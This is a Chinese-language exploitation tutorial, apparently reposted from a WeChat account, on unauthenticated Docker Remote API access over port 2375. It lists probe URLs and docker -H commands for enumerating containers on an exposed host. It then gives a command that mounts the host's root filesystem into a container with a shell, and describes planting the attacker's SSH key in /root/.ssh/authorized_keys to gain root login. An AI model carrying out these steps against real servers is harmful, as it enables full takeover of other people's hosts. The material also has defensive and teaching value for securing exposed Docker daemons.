Swarm 是 Docker 社区提供的唯一一个原生支持 Docker 集群管理的工具。它可以把多个 Docker 主机组成的系统转换为单一的虚拟 Docker 主机,使得容器可以组成跨主机的子网网络。
该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。
Docker Swarm是一个将docker集群单一虚拟化的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展。
该漏洞起因是因为使用Docker Swarm时,管理的docker 节点上便会开放一个TCP端口2375/2376,绑定在0.0.0.0上,http访问会返回 404 page not found。这是 Docker RemoteAPI,可以执行docker命令,比如访问 http://x.x.x.x:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。
-
漏洞复现
首先需要判断是否存在未授访问漏洞,利用web进行执行发现docker系统命令。
(1)采用下列命令查看docker未授权是否正常执行系统命令。
http://x.x.x.x:2375/version 查看版本信息
http://x.x.x.x:2375/info 查看相关信息
http://x.x.x.x:2375/v1.xx/containers/json 列出容器信息
http://x.x.x.x:2375/images/json 列出 images 列表
(2)确定可以执行系统命令后,进行远程连接,此时需要安装docker。
Docker安装命令:sudoapt-get install -y docker.io
(3)远程连接未授权docker主机,并执行宿主机docker命令。如下:
(4)那么如果需要深入利用,则需要知道docker运行的CONTAINER ID 和 COMMAND 。其中方式比较多,可借鉴一下方式:
①首先用过http://x.x.x.x:2375/info获取版本信息,再通过
http://x.x.x.x:2375/版本/containers/json获取到CONTAINER ID 和 COMMAND 。
②或者连接docker后直接执行命令
Docker -H tcp://x.x.x.x:2375 ps -a获取容器运行的CONTAINER ID 和 COMMAND。
③或者连接docker后直接执行命令
Docker -H tcp://x.x.x.x:2375 ps 获取容器运行的CONTAINER ID 和 COMMAND。
④或通过http://x.x.x.x:2375/v1.xx/containers/json 获取容器运行的CONTAINER ID 和 COMMAND。
⑤通过上述步骤4可知道docker宿主机运行的镜像id和进入容器的命令。这时利用条件已具备,通过命令直接进入任意docker镜像主机。
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt 113aa138 /bin/bash
-
权限提升
启动一个容器,挂载宿主机的/root/目录,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。
本地获取ssh公钥
将公钥复制到被攻击者的/root/.ssh/authorized_keys文件中
ssh连接远程服务器
-
小结
当遇到docker未授权时,为节省时间,可直接利用docker建立与未授权主机进行连接,再利用docker命令对未授权docker宿主机进行操作,查询其运行docker状态,从运行状态中提取镜像id和进入命令,再通过远程连接的方式进入docker容器内。
原文始发于微信公众号(Matrix1024):Docker api未授权访问
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论